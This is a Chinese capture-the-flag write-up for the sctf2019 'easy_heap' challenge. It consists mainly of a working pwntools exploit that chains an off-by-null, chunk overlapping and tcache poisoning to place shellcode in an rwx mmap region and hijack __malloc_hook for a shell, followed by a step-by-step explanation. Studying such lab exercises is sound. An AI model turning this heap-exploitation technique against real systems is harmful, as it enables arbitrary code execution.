sctf2019_easy_heap wp

64位tcachebin attack+off by null+chunk overlapping,保护全开
但是存在mmap开辟了一段rwx权限的空间并在程序一开始泄露出来;
此题标准菜单,没有uaf没有堆溢出,但是fill函数里面存在off by null

exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("node4.buuoj.cn",27185)
# io=process("./sctf_2019_easy_heap")
elf=ELF("./sctf_2019_easy_heap")

def alloc(n):
    io.sendlineafter(b">> ",b"1")
    io.sendlineafter(b"Size: ",str(n))

def delete(n):
    io.sendlineafter(b">> ",b"2")
    io.sendlineafter(b"Index: ",str(n))

def fill(n,c):
    io.sendlineafter(b">> ",b"3")
    io.sendlineafter(b"Index: ",str(n))
    io.sendafter(b"Content: ",c)

io.recvuntil(b"Mmap: ")
mmap=int(io.recv(12),16)
print("mmap: "+hex(mmap))

alloc(0x420) #0

alloc(0x38) #1
alloc(0x28) #2
alloc(0x4f0) #3
alloc(0x10) #4

delete(0)
payload=cyclic(0x20)+p64(0x4a0)
fill(2,payload)

delete(3)
delete(1)
delete(2)

alloc(0x460) #0

# gdb.attach(io)
# pause()

alloc(0x520) #1
payload=cyclic(0x420)+p64(0)+p64(0x41)+p64(mmap)
fill(0,payload+b"\n")

alloc(0x38) #2
alloc(0x38) #3

payload=asm(shellcraft.sh())
fill(3,payload+b"\n")

fill(1,b"\x30\n")
alloc(0x28) #5
alloc(0x28) #6
payload=p64(mmap)
fill(6,payload+b"\n")

io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"Size: ",b"1")
print("asd  "+hex(mmap))

io.interactive()

这里我们申请5个chunk,最后一个chunk申请防止后续进行unlink操作时候后向chunk与top chunk合并;
chunk 0和chunk 3大小均大于0x410,否则释放时会被放进tcachebin而不是 unsortedbin中,,首先释放chunk 0,然后修改chunk 3的presize以准备unlink操作(通过fill chunk 2实现,溢出\x000x501修改为0x500,此时释放chunk 3 ,可以看到0123都被合并

然后释放1,2堆块
此时我们再分配两个堆块,分别包含0和1,2和3,以实现chunk overlapping,
接下来,修改0,1堆块,堆块0将next指针修改为mmap地址,堆块1将next指针低位字节修改为\x30使其指向malloc_hook;
接下来就是tcachebin attack过程了,分配堆块到指定内存地址上进行读写,mmap地址写入shellcode,malloc_hook上写入mmap地址;
最后出发malloc_hook,执行shellcode来getshell